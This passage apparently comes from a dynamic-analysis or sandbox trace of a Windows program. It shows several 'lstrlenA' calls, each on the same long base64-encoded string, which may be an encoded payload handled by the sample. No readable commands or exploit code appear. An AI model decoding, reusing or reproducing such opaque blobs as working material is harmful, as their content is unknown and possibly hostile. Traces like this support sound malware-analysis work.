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") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="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") returned 5792 [0163.806] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeu